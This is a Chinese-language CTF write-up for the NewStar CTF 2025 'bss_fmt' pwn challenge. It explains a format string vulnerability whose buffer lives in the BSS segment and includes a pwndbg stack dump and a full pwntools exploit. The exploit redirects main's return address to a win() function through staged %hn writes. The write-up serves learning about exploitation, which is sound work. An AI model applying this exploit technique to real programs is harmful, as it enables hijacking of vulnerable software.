NewStar CTF 2025 week5 复读机堂堂归来!复读机堂堂归来!

bbs_fmt

(my_venv) ➜  fuduji checksec bss_fmt
[*] '/home/yb/tmp/xctf/fuduji/bss_fmt'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    RUNPATH:    b'.'
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

保留了符号表,这题就比较好看了。

ida 看一下有一个 win 函数。

unsigned __int64 win()
{
  FILE *stream; // [rsp+8h] [rbp-58h]
  char s[72]; // [rsp+10h] [rbp-50h] BYREF
  unsigned __int64 v3; // [rsp+58h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  stream = fopen("/flag", "r");
  if ( !stream )
    exit(1);
  fgets(s, 64, stream);
  printf(&format, s);
  fclose(stream);
  return v3 - __readfsqword(0x28u);

}

只要能进入 win() 函数即可泄露 flag。

do
{
  memset(global_buffer, 0, sizeof(global_buffer));
  puts(&saysth);
  read(0, global_buffer, 0xFFuLL);
  printf(global_buffer);
}

存在格式化字符串漏洞。

第一次写就是非栈上字符串吗 有点意思

格式化字符串漏洞

c 的 printf 使用 % 对字符串进行格式化后输出,一些常利用的格式字符串:

格式字符串 效果
%x 输出十六进制整数
%p 输出指针变量的值
%n 将已输入字符数存入给定指针参数的所指
%hn 只修改最后两字节
%hhn 只修改最后一字节
%n$x 对第 n 个参数进行相印操作,x 可以是任意占位符
%s 以字符串形式输出内存,直到遇到 \x00
%nc 输出 n 个对应参数字符

格式化字符串还利用了以下特性:printf 会从栈上依次往下寻找参数,即使没有传入足够的参数。

如果格式化字符串在栈上,直接在字符串里写入的地址就会存在在栈上,利用起来就很方便。

但是这里字符串在 BSS 段,这时候就只能利用栈上现成的地址了。

pwndbg> stack 40
00:0000│ rsp 0x7fffffffdda8 —▸ 0x55555555540f (main+133) ◂— lea rax, [rip + 0xcff]
01:0008│ rbp 0x7fffffffddb0 —▸ 0x7fffffffde50 —▸ 0x7fffffffdeb0 ◂— 0
02:0010│+008 0x7fffffffddb8 —▸ 0x7ffff7c2a1ca ◂— mov edi, eax
03:0018│+010 0x7fffffffddc0 —▸ 0x7fffffffde00 —▸ 0x555555557d70 (__do_global_dtors_aux_fini_array_entry) —▸ 0x555555555240 (__do_global_dtors_aux) ◂— endbr64
04:0020│+018 0x7fffffffddc8 —▸ 0x7fffffffded8 —▸ 0x7fffffffe1dc ◂— '/home/yb/tmp/xctf/fuduji/bss_fmt'
05:0028│+020 0x7fffffffddd0 ◂— 0x155554040
06:0030│+028 0x7fffffffddd8 —▸ 0x55555555538a (main) ◂— endbr64
07:0038│+030 0x7fffffffdde0 —▸ 0x7fffffffded8 —▸ 0x7fffffffe1dc ◂— '/home/yb/tmp/xctf/fuduji/bss_fmt'
08:0040│+038 0x7fffffffdde8 ◂— 0x11dea3844b090683
09:0048│+040 0x7fffffffddf0 ◂— 1
0a:0050│+048 0x7fffffffddf8 ◂— 0
0b:0058│+050 0x7fffffffde00 —▸ 0x555555557d70 (__do_global_dtors_aux_fini_array_entry) —▸ 0x555555555240 (__do_global_dtors_aux) ◂— endbr64
0c:0060│+058 0x7fffffffde08 —▸ 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
0d:0068│+060 0x7fffffffde10 ◂— 0x11dea3844c290683
0e:0070│+068 0x7fffffffde18 ◂— 0x11deb3feb4ab0683
0f:0078│+070 0x7fffffffde20 ◂— 0x7fff00000000
10:0080│+078 0x7fffffffde28 ◂— 0
11:0088│+080 0x7fffffffde30 ◂— 0
12:0090│+088 0x7fffffffde38 ◂— 1
13:0098│+090 0x7fffffffde40 —▸ 0x7fffffffded0 ◂— 1
14:00a0│+098 0x7fffffffde48 ◂— 0x1cd64a7f15609f00
15:00a8│+0a0 0x7fffffffde50 —▸ 0x7fffffffdeb0 ◂— 0
16:00b0│+0a8 0x7fffffffde58 —▸ 0x7ffff7c2a28b (__libc_start_main+139) ◂— mov r15, qword ptr [rip + 0x1d8cf6]
17:00b8│+0b0 0x7fffffffde60 —▸ 0x7fffffffdee8 —▸ 0x7fffffffe1fd ◂— 'DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus'
18:00c0│+0b8 0x7fffffffde68 —▸ 0x555555557d70 (__do_global_dtors_aux_fini_array_entry) —▸ 0x555555555240 (__do_global_dtors_aux) ◂— endbr64

pwndbg> retaddr
0x7fffffffdda8 —▸ 0x55555555540f (main+133) ◂— lea rax, [rip + 0xcff]
0x7fffffffddb8 —▸ 0x7ffff7c2a1ca ◂— mov edi, eax
0x7fffffffde58 —▸ 0x7ffff7c2a28b (__libc_start_main+139) ◂— mov r15, qword ptr [rip + 0x1d8cf6]
0x7fffffffdeb8 —▸ 0x5555555551c5 (_start+37) ◂— hlt

这里的 02 就是 main 的返回地址,上面的 01 就有一组非常方便利用的三级指针。

因为不能一次输出太多字符,一般使用 %hn 修改。

而通过修改末位就可以使得 01 最后的地址指向返回地址的栈位置。

这时候我们就能修改 main 的返回地址了。

那高位地址怎么办?

我们将 01 那一串最后的地址加上 2,此时再修改就高了两字节。

只需要三次就可以修改完整的 win 地址了。

因为远程时输出处理出现了神秘问题 导致 exp 有点丑(x

from pwn import *
from colorama import Fore, Back, Style, init

init(autoreset=True);

#p = process("./bss_fmt");
p = remote("127.0.0.1", 12345)
context.terminal = ['tmux', 'splitw', '-h', '-l', '125']
#gdb.attach(p, gdbscript="b *printf\nc")

p.sendlineafter("说话!", "%11$p".encode());
p.recvuntil("0x");
main_addr = int(p.recvline(drop=True).split()[0].decode(), 16);
win_addr = main_addr - 0x101;
print(Fore.GREEN + f"main_addr:  {hex(main_addr)}\nwin_addr:   {hex(win_addr)}");

#p.sendlineafter("说话!", "%6$p".encode());
p.sendline("%6$p".encode());
p.recvuntil("0x");
add1 = int(p.recvline(drop=True).split()[0].decode(), 16) - 0xa0 + 8;
print(Fore.GREEN + f"addr1:  {hex(add1)}");

def chg(pos, value):
    #p.sendlineafter("说话!", f"%{value}c%{pos}$hn".encode())
    p.sendline(f"%{value}c%{pos}$hn".encode())
    print(Back.GREEN + f"AT {hex(pos)} TO {hex(value)} finished");
    p.recvuntil("说话!", timeout = 3);

add1_end = add1 & 0xffff;
chg(6, add1_end);
chg(0x1a, win_addr & 0xffff);
chg(6, add1_end + 0x2);
chg(0x1a, win_addr >> 16 & 0xffff);
chg(6, add1_end + 0x4);
chg(0x1a, win_addr >> 32 & 0xffff);

p.sendlineafter("说话!", "end".encode());
p.interactive();

NewStar CTF 2025 week5 复读机堂堂归来!复读机堂堂归来!
https://ybwa.github.io/p/7fbeb27/
作者
yb
发布于
2026年3月28日
许可协议